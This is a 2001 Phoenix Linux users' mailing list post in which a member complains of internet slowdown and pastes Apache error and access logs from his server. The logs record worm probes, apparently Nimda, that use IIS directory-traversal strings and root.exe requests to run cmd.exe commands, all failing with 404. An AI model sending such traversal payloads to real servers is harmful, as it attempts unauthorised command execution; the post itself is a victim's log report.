Net slow-down?

18 Sep 2001 14:07:38 -0700

--=-gL+T/NyFpPn4Y2IZnTL/
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

Well, if anyone even gets this...!
Speakeasy is more or less dead..  dr hans, if I continuously bounce, my
appologies.  I was at work and thought someone was dos'ing my server at
home because I was ssh'd in and suddenly everything locked up.. =20

I can't ping I can't email, no web, no nothing!!!
I came home for lunch and I'm watching tcpdump on my external nic and
you could set the atomic clock by the hits I'm getting..  Most from
people on speakeasy, and I think speakeasy servers themselves.. =20

~~~~~~~~
root@carthage:/var/log/apache# tail error_log
[Tue Sep 18 13:54:07 2001] [error] [client 64.84.4.2] File does not
exist: /var/www/htdocs/c/winnt/system32/cmd.exe
[Tue Sep 18 13:54:11 2001] [error] [client 64.84.4.2] File does not
exist: /var/www/htdocs/d/winnt/system32/cmd.exe
[Tue Sep 18 13:54:23 2001] [error] [client 64.84.4.2] File does not
exist: /var/www/htdocs/scripts/..%5c../winnt/system32/cmd.exe
[Tue Sep 18 13:54:30 2001] [error] [client 64.81.226.138] File does not
exist: /var/www/htdocs/scripts/root.exe
[Tue Sep 18 13:54:37 2001] [error] [client 64.81.226.138] File does not
exist: /var/www/htdocs/MSADC/root.exe
[Tue Sep 18 13:54:37 2001] [error] [client 64.81.226.138] File does not
exist: /var/www/htdocs/c/winnt/system32/cmd.exe
[Tue Sep 18 13:54:44 2001] [error] [client 64.84.4.2] File does not
exist:
/var/www/htdocs/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
[Tue Sep 18 13:54:54 2001] [error] [client 64.84.4.2] File does not
exist:
/var/www/htdocs/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
[Tue Sep 18 13:54:54 2001] [error] [client 64.84.4.2] File does not
exist:
/var/www/htdocs/msadc/..%5c../..%5c../..%5c/..=C1../..=C1../..=C1../winnt/s=
ystem32/cmd.exe
[Tue Sep 18 13:54:57 2001] [error] [client 64.84.4.2] File does not
exist: /var/www/htdocs/scripts/..=C1../winnt/system32/cmd.exe

~~~~~~~~~
root@carthage:/var/log/apache# tail access_log
64.81.226.138 - - [18/Sep/2001:13:54:30 -0700] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 286
64.81.226.138 - - [18/Sep/2001:13:54:37 -0700] "GET
/MSADC/root.exe?/c+dir HTTP/1.0" 404 284
64.81.226.138 - - [18/Sep/2001:13:54:37 -0700] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 294
64.84.4.2 - - [18/Sep/2001:13:54:44 -0700] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 325
64.84.4.2 - - [18/Sep/2001:13:54:54 -0700] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 325
64.84.4.2 - - [18/Sep/2001:13:54:54 -0700] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/s=
ystem32/cmd.exe?/c+dir HTTP/1.0" 404 341
64.84.4.2 - - [18/Sep/2001:13:54:57 -0700] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307
64.84.4.2 - - [18/Sep/2001:13:54:58 -0700] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307
64.81.250.90 - - [18/Sep/2001:14:01:47 -0700] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 286
64.81.97.103 - - [18/Sep/2001:14:02:06 -0700] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 286

This isn't code red, it's nambi ??  or something like that. Saw it on
slashdot this morning before I went down. =20

I haven't read anything on it, so I don't know how bad it is, but I sure
know I'm getting sick and tired of this fsck'n windows crap.
I have networking stuff, security, lpad and other things to learn, and I
can't because the damn net's soooo slow I can't get anywhere!!!

And at the same time, something else I can't figure out now, none of my
smb shares work!

back to the salt mines.

nathan

On Tue, 2001-09-18 at 12:38, David P. Schwartz wrote:
> My DSL service from Qwest has been getting pretty bad lately.  I switched=
 to Cox' nameservers and things have improved noticeably.
>=20
> -David Schwartz
>=20
> Gontran wrote:
>=20
> > * Alan Dayley (adayley@adtron.com) wrote:
> > >
> > > Here at work our internet access has slowed significantly.  Our IT gu=
y says
> > > it is not our end and our provider claims no fault too.  I was wonder=
ing if
> > > anyone else is seeing slow web page and news server access or if our =
ISP is
> > > spinning a problem.  Any comments?
> >
> > http://www.incidents.org/
>=20
> ________________________________________________
> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't p=
ost to the list quickly and you use Netscape to write mail.
>=20
> PLUG-discuss mailing list  -  PLUG-discuss@lists.PLUG.phoenix.az.us
> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
--=20

"I know not with what weapons World War III will be fought,
but World War IV will be fought with sticks and stones."
			-- Albert Einstein

--=-gL+T/NyFpPn4Y2IZnTL/
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA7p7ea8roUgVY5MsERAmiRAJ9gJ+VFyDHvQHQk/nXy907fMKjYhQCfY9HE
KvUidkzWFWJMVTYlofeOhf8=
=+FPN
-----END PGP SIGNATURE-----

--=-gL+T/NyFpPn4Y2IZnTL/--